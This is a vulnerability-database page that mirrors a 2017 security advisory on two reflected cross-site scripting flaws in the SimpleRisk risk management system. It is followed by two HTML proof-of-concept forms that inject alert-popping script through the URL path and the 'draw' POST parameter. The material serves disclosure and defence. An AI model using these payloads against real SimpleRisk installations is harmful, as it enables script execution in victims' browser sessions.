Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

SimpleRisk 20170416-001 Cross Site Scripting

🗓️ 22 Jun 2017 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm🔗 packetstormsecurity.com👁 29 Views

SimpleRisk v20170416-001 Reflected XSS Vulnerabilities affecting risk management system, allowing execution of arbitrary HTML and script code

Code
`<!--  
  
SimpleRisk v20170416-001 Reflected XSS Vulnerabilities  
  
  
Vendor: SimpleRisk, LLC  
Product web page: https://www.simplerisk.com  
Affected version: 20170416-001  
20170108-001  
20170102-001  
  
Summary: SimpleRisk is an open-source risk management system released  
under Mozilla Public License and used for risk management activities.  
It enables risk managers to account for risks, plan mitigation measures,  
facilitate management reviews, prioritize for project planning, and track  
periodic reviews.  
  
Desc: SimpleRisk suffers from two reflected cross-site scripting vulnerabilities  
when input passed via 'draw' POST parameter and the 'PHP_SELF' variable is not  
properly sanitized before being returned to the user. This can be exploited to  
execute arbitrary HTML and script code in a user's browser session in context of  
an affected site.  
  
Tested on: PHP/5.5.9-1ubuntu4.20  
Apache/2.4.7 (Ubuntu)  
MySQL 14.14 (Distrib 5.5.53 for debian-linux-gnu)  
Ubuntu 14.04.5 LTS  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2017-5414  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5414.php  
  
  
05.06.2017  
  
-->  
  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://192.168.1.72/management/plan_mitigations.php/'><script>alert(1)</script>">  
<input type="hidden" name="currentpage" value="/ZSL" />  
<input type="submit" value="XSS #1" />  
</form>  
</body>  
</html>  
  
=====  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://192.168.1.72/api/reports/dynamic" method="POST">  
<input type="hidden" name="draw" value="<img src=a onerror=alert('XSS-251')>ZSL XSSed" />  
<input type="hidden" name="columns[0][data]" value="0" />  
<input type="hidden" name="columns[0][name]" value="id" />  
<input type="hidden" name="columns[0][searchable]" value="true" />  
<input type="hidden" name="columns[0][orderable]" value="false" />  
<input type="hidden" name="columns[0][search][value]" value="" />  
<input type="hidden" name="columns[0][search][regex]" value="false" />  
<input type="hidden" name="columns[1][data]" value="1" />  
<input type="hidden" name="columns[1][name]" value="risk_status" />  
<input type="hidden" name="columns[1][searchable]" value="true" />  
<input type="hidden" name="columns[1][orderable]" value="false" />  
<input type="hidden" name="columns[1][search][value]" value="" />  
<input type="hidden" name="columns[1][search][regex]" value="false" />  
<input type="hidden" name="columns[2][data]" value="2" />  
<input type="hidden" name="columns[2][name]" value="subject" />  
<input type="hidden" name="columns[2][searchable]" value="true" />  
<input type="hidden" name="columns[2][orderable]" value="false" />  
<input type="hidden" name="columns[2][search][value]" value="" />  
<input type="hidden" name="columns[2][search][regex]" value="false" />  
<input type="hidden" name="columns[3][data]" value="3" />  
<input type="hidden" name="columns[3][name]" value="reference_id" />  
<input type="hidden" name="columns[3][searchable]" value="true" />  
<input type="hidden" name="columns[3][orderable]" value="false" />  
<input type="hidden" name="columns[3][search][value]" value="" />  
<input type="hidden" name="columns[3][search][regex]" value="false" />  
<input type="hidden" name="columns[4][data]" value="4" />  
<input type="hidden" name="columns[4][name]" value="regulation" />  
<input type="hidden" name="columns[4][searchable]" value="true" />  
<input type="hidden" name="columns[4][orderable]" value="false" />  
<input type="hidden" name="columns[4][search][value]" value="" />  
<input type="hidden" name="columns[4][search][regex]" value="false" />  
<input type="hidden" name="columns[5][data]" value="5" />  
<input type="hidden" name="columns[5][name]" value="control_number" />  
<input type="hidden" name="columns[5][searchable]" value="true" />  
<input type="hidden" name="columns[5][orderable]" value="false" />  
<input type="hidden" name="columns[5][search][value]" value="" />  
<input type="hidden" name="columns[5][search][regex]" value="false" />  
<input type="hidden" name="columns[6][data]" value="6" />  
<input type="hidden" name="columns[6][name]" value="location" />  
<input type="hidden" name="columns[6][searchable]" value="true" />  
<input type="hidden" name="columns[6][orderable]" value="false" />  
<input type="hidden" name="columns[6][search][value]" value="" />  
<input type="hidden" name="columns[6][search][regex]" value="false" />  
<input type="hidden" name="columns[7][data]" value="7" />  
<input type="hidden" name="columns[7][name]" value="source" />  
<input type="hidden" name="columns[7][searchable]" value="true" />  
<input type="hidden" name="columns[7][orderable]" value="false" />  
<input type="hidden" name="columns[7][search][value]" value="" />  
<input type="hidden" name="columns[7][search][regex]" value="false" />  
<input type="hidden" name="columns[8][data]" value="8" />  
<input type="hidden" name="columns[8][name]" value="category" />  
<input type="hidden" name="columns[8][searchable]" value="true" />  
<input type="hidden" name="columns[8][orderable]" value="false" />  
<input type="hidden" name="columns[8][search][value]" value="" />  
<input type="hidden" name="columns[8][search][regex]" value="false" />  
<input type="hidden" name="columns[9][data]" value="9" />  
<input type="hidden" name="columns[9][name]" value="team" />  
<input type="hidden" name="columns[9][searchable]" value="true" />  
<input type="hidden" name="columns[9][orderable]" value="false" />  
<input type="hidden" name="columns[9][search][value]" value="" />  
<input type="hidden" name="columns[9][search][regex]" value="false" />  
<input type="hidden" name="columns[10][data]" value="10" />  
<input type="hidden" name="columns[10][name]" value="technology" />  
<input type="hidden" name="columns[10][searchable]" value="true" />  
<input type="hidden" name="columns[10][orderable]" value="false" />  
<input type="hidden" name="columns[10][search][value]" value="" />  
<input type="hidden" name="columns[10][search][regex]" value="false" />  
<input type="hidden" name="columns[11][data]" value="11" />  
<input type="hidden" name="columns[11][name]" value="owner" />  
<input type="hidden" name="columns[11][searchable]" value="true" />  
<input type="hidden" name="columns[11][orderable]" value="false" />  
<input type="hidden" name="columns[11][search][value]" value="" />  
<input type="hidden" name="columns[11][search][regex]" value="false" />  
<input type="hidden" name="columns[12][data]" value="12" />  
<input type="hidden" name="columns[12][name]" value="manager" />  
<input type="hidden" name="columns[12][searchable]" value="true" />  
<input type="hidden" name="columns[12][orderable]" value="false" />  
<input type="hidden" name="columns[12][search][value]" value="" />  
<input type="hidden" name="columns[12][search][regex]" value="false" />  
<input type="hidden" name="columns[13][data]" value="13" />  
<input type="hidden" name="columns[13][name]" value="submitted_by" />  
<input type="hidden" name="columns[13][searchable]" value="true" />  
<input type="hidden" name="columns[13][orderable]" value="false" />  
<input type="hidden" name="columns[13][search][value]" value="" />  
<input type="hidden" name="columns[13][search][regex]" value="false" />  
<input type="hidden" name="columns[14][data]" value="14" />  
<input type="hidden" name="columns[14][name]" value="scoring_method" />  
<input type="hidden" name="columns[14][searchable]" value="true" />  
<input type="hidden" name="columns[14][orderable]" value="false" />  
<input type="hidden" name="columns[14][search][value]" value="" />  
<input type="hidden" name="columns[14][search][regex]" value="false" />  
<input type="hidden" name="columns[15][data]" value="15" />  
<input type="hidden" name="columns[15][name]" value="calculated_risk" />  
<input type="hidden" name="columns[15][searchable]" value="true" />  
<input type="hidden" name="columns[15][orderable]" value="false" />  
<input type="hidden" name="columns[15][search][value]" value="" />  
<input type="hidden" name="columns[15][search][regex]" value="false" />  
<input type="hidden" name="columns[16][data]" value="16" />  
<input type="hidden" name="columns[16][name]" value="submission_date" />  
<input type="hidden" name="columns[16][searchable]" value="true" />  
<input type="hidden" name="columns[16][orderable]" value="false" />  
<input type="hidden" name="columns[16][search][value]" value="" />  
<input type="hidden" name="columns[16][search][regex]" value="false" />  
<input type="hidden" name="columns[17][data]" value="17" />  
<input type="hidden" name="columns[17][name]" value="review_date" />  
<input type="hidden" name="columns[17][searchable]" value="true" />  
<input type="hidden" name="columns[17][orderable]" value="false" />  
<input type="hidden" name="columns[17][search][value]" value="" />  
<input type="hidden" name="columns[17][search][regex]" value="false" />  
<input type="hidden" name="columns[18][data]" value="18" />  
<input type="hidden" name="columns[18][name]" value="project" />  
<input type="hidden" name="columns[18][searchable]" value="true" />  
<input type="hidden" name="columns[18][orderable]" value="false" />  
<input type="hidden" name="columns[18][search][value]" value="" />  
<input type="hidden" name="columns[18][search][regex]" value="false" />  
<input type="hidden" name="columns[19][data]" value="19" />  
<input type="hidden" name="columns[19][name]" value="mitigation_planned" />  
<input type="hidden" name="columns[19][searchable]" value="true" />  
<input type="hidden" name="columns[19][orderable]" value="false" />  
<input type="hidden" name="columns[19][search][value]" value="" />  
<input type="hidden" name="columns[19][search][regex]" value="false" />  
<input type="hidden" name="columns[20][data]" value="20" />  
<input type="hidden" name="columns[20][name]" value="management_review" />  
<input type="hidden" name="columns[20][searchable]" value="true" />  
<input type="hidden" name="columns[20][orderable]" value="false" />  
<input type="hidden" name="columns[20][search][value]" value="" />  
<input type="hidden" name="columns[20][search][regex]" value="false" />  
<input type="hidden" name="columns[21][data]" value="21" />  
<input type="hidden" name="columns[21][name]" value="days_open" />  
<input type="hidden" name="columns[21][searchable]" value="true" />  
<input type="hidden" name="columns[21][orderable]" value="false" />  
<input type="hidden" name="columns[21][search][value]" value="" />  
<input type="hidden" name="columns[21][search][regex]" value="false" />  
<input type="hidden" name="columns[22][data]" value="22" />  
<input type="hidden" name="columns[22][name]" value="next_review_date" />  
<input type="hidden" name="columns[22][searchable]" value="true" />  
<input type="hidden" name="columns[22][orderable]" value="false" />  
<input type="hidden" name="columns[22][search][value]" value="" />  
<input type="hidden" name="columns[22][search][regex]" value="false" />  
<input type="hidden" name="columns[23][data]" value="23" />  
<input type="hidden" name="columns[23][name]" value="next_step" />  
<input type="hidden" name="columns[23][searchable]" value="true" />  
<input type="hidden" name="columns[23][orderable]" value="false" />  
<input type="hidden" name="columns[23][search][value]" value="" />  
<input type="hidden" name="columns[23][search][regex]" value="false" />  
<input type="hidden" name="columns[24][data]" value="24" />  
<input type="hidden" name="columns[24][name]" value="affected_assets" />  
<input type="hidden" name="columns[24][searchable]" value="true" />  
<input type="hidden" name="columns[24][orderable]" value="false" />  
<input type="hidden" name="columns[24][search][value]" value="" />  
<input type="hidden" name="columns[24][search][regex]" value="false" />  
<input type="hidden" name="columns[25][data]" value="25" />  
<input type="hidden" name="columns[25][name]" value="risk_assessment" />  
<input type="hidden" name="columns[25][searchable]" value="true" />  
<input type="hidden" name="columns[25][orderable]" value="false" />  
<input type="hidden" name="columns[25][search][value]" value="" />  
<input type="hidden" name="columns[25][search][regex]" value="false" />  
<input type="hidden" name="columns[26][data]" value="26" />  
<input type="hidden" name="columns[26][name]" value="additional_notes" />  
<input type="hidden" name="columns[26][searchable]" value="true" />  
<input type="hidden" name="columns[26][orderable]" value="false" />  
<input type="hidden" name="columns[26][search][value]" value="" />  
<input type="hidden" name="columns[26][search][regex]" value="false" />  
<input type="hidden" name="columns[27][data]" value="27" />  
<input type="hidden" name="columns[27][name]" value="current_solution" />  
<input type="hidden" name="columns[27][searchable]" value="true" />  
<input type="hidden" name="columns[27][orderable]" value="false" />  
<input type="hidden" name="columns[27][search][value]" value="" />  
<input type="hidden" name="columns[27][search][regex]" value="false" />  
<input type="hidden" name="columns[28][data]" value="28" />  
<input type="hidden" name="columns[28][name]" value="security_recommendations" />  
<input type="hidden" name="columns[28][searchable]" value="true" />  
<input type="hidden" name="columns[28][orderable]" value="false" />  
<input type="hidden" name="columns[28][search][value]" value="" />  
<input type="hidden" name="columns[28][search][regex]" value="false" />  
<input type="hidden" name="columns[29][data]" value="29" />  
<input type="hidden" name="columns[29][name]" value="security_requirements" />  
<input type="hidden" name="columns[29][searchable]" value="true" />  
<input type="hidden" name="columns[29][orderable]" value="false" />  
<input type="hidden" name="columns[29][search][value]" value="" />  
<input type="hidden" name="columns[29][search][regex]" value="false" />  
<input type="hidden" name="columns[30][data]" value="30" />  
<input type="hidden" name="columns[30][name]" value="planning_strategy" />  
<input type="hidden" name="columns[30][searchable]" value="true" />  
<input type="hidden" name="columns[30][orderable]" value="false" />  
<input type="hidden" name="columns[30][search][value]" value="" />  
<input type="hidden" name="columns[30][search][regex]" value="false" />  
<input type="hidden" name="columns[31][data]" value="31" />  
<input type="hidden" name="columns[31][name]" value="mitigation_effort" />  
<input type="hidden" name="columns[31][searchable]" value="true" />  
<input type="hidden" name="columns[31][orderable]" value="false" />  
<input type="hidden" name="columns[31][search][value]" value="" />  
<input type="hidden" name="columns[31][search][regex]" value="false" />  
<input type="hidden" name="columns[32][data]" value="32" />  
<input type="hidden" name="columns[32][name]" value="mitigation_cost" />  
<input type="hidden" name="columns[32][searchable]" value="true" />  
<input type="hidden" name="columns[32][orderable]" value="false" />  
<input type="hidden" name="columns[32][search][value]" value="" />  
<input type="hidden" name="columns[32][search][regex]" value="false" />  
<input type="hidden" name="columns[33][data]" value="33" />  
<input type="hidden" name="columns[33][name]" value="mitigation_owner" />  
<input type="hidden" name="columns[33][searchable]" value="true" />  
<input type="hidden" name="columns[33][orderable]" value="false" />  
<input type="hidden" name="columns[33][search][value]" value="" />  
<input type="hidden" name="columns[33][search][regex]" value="false" />  
<input type="hidden" name="columns[34][data]" value="34" />  
<input type="hidden" name="columns[34][name]" value="mitigation_team" />  
<input type="hidden" name="columns[34][searchable]" value="true" />  
<input type="hidden" name="columns[34][orderable]" value="false" />  
<input type="hidden" name="columns[34][search][value]" value="" />  
<input type="hidden" name="columns[34][search][regex]" value="false" />  
<input type="hidden" name="start" value="0" />  
<input type="hidden" name="length" value="10" />  
<input type="hidden" name="search[value]" value="" />  
<input type="hidden" name="search[regex]" value="false" />  
<input type="hidden" name="status" value="0" />  
<input type="hidden" name="group" value="0" />  
<input type="hidden" name="sort" value="0" />  
<input type="hidden" name="group_value" value="" />  
<input type="submit" value="XSS #2" />  
</form>  
</body>  
</html>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
22 Jun 2017 00:00Current
simplerisk llccross site scriptingopen-sourcerisk managementmozilla public licensephpapachemysqlubuntuxss vulnerabilitiesgjoko krsticzsl-2017-5414zero science advisory
29